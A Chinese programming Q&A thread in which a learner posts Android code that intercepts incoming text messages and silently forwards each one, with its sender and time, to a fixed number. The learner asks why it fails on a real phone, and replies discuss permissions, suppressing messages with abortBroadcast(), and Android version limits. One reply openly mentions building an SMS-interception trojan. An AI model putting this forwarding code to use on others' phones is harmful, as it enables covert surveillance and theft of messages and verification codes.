问题描述
- Android短信拦截部属在真机中的问题?
-
本人刚才学习Android开发,现做了一个短信拦截,程序在模拟器中可以进行拦截,并发到指定的模拟机上,
但部属到真机上(红米)就不管用了,有没有那位大神能帮我解决一下呀?
代码:
public class SmsRecevier extends BroadcastReceiver{public void onReceive(Context context, Intent intent) { Object[] pdus = (Object[]) intent.getExtras().get("pdus"); if (pdus != null && pdus.length > 0) { SmsMessage[] messages = new SmsMessage[pdus.length]; for (int i = 0; i < pdus.length; i++) { byte[] pdu = (byte[]) pdus[i]; messages[i] = SmsMessage.createFromPdu(pdu); } for (SmsMessage message : messages) { String content = message.getMessageBody();// 得到短信内容 String sender = message.getOriginatingAddress();// 得到发信息的号码 Date date = new Date(message.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String sendContent = format.format(date) + ":" + sender + "--" + content; SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的 smsManager.sendTextMessage("5556", null, sendContent, null, null); } } }
}
解决方案
看下是不是权限的问题,或者你的真机上安装了反拦截的安全软件。
解决方案二:
在真机上你需要权限的,比如接收短信的权限和发送短信的权限;
http://wenku.baidu.com/view/51998009844769eae009ed55.html
上面链接的文章你可以看看;
如果回答对你有帮助,请采纳
解决方案三:
如果权限都给了,很可能是安全软件的问题,建议装app的时候选择允许
解决方案四:
你是在4.x的系统下的吧,前台界面需要显示
解决方案五:
查看权限是否添加完整了。。
然后,查看程序在小米手机上是否被禁止了这个权限。。
解决方案六:
获得发件人号码,然后做比较,看是不是你要拉截的那个人,然后把abortBroadcast()代码加到if判断里边
if (sender.indexOf("10010") > 0) {
abortBroadcast();
}
解决方案七:
5.0以后除了定制系统,原生的好像都不能拦截系统受到短信了
解决方案八:
请问楼主加我QQ1215914190好吗?一起交流,我也正在学习制作短信拦截马,详细信息聊QQ
解决方案九:
4.4以后实现不了abortBroadcast();
时间: 2024-10-02 02:33:22